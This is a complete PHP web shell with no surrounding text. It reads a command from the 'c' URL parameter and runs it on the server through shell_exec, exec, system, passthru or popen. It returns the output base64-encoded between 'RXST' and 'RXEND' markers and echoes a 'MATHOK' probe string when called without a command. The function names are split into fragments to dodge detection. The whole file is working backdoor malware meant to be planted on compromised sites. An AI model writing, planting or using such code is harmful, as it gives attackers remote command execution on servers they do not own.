<?php
$_0='ba'.'se64'.'_en'.'code';$_6='fun'.'ctio'.'n_ex'.'ists';
if(!isset($_GET['c'])){echo 'RXST:'.$_0('MATHOK:276485').':RXEND';}
else{$c=$_GET['c'].' 2>&1';$o='';
$_1='sh'.'ell_'.'ex'.'ec';$_2='ex'.'ec';$_3='sys'.'te'.'m';$_4='pas'.'sth'.'ru';$_5='po'.'pen';
if($_6($_1)){$o=@$_1($c);}
elseif($_6($_2)){@$_2($c,$arr);$o=implode("\n",$arr);}
elseif($_6($_3)){ob_start();@$_3($c);$o=ob_get_clean();}
elseif($_6($_4)){ob_start();@$_4($c);$o=ob_get_clean();}
elseif($_6($_5)){$h=@$_5($c,'r');while(!feof($h)){$o.=fread($h,4096);}pclose($h);}
else{$o='BLOCKED';}
echo 'RXST:'.$_0($o===null?'':$o).':RXEND';}
?>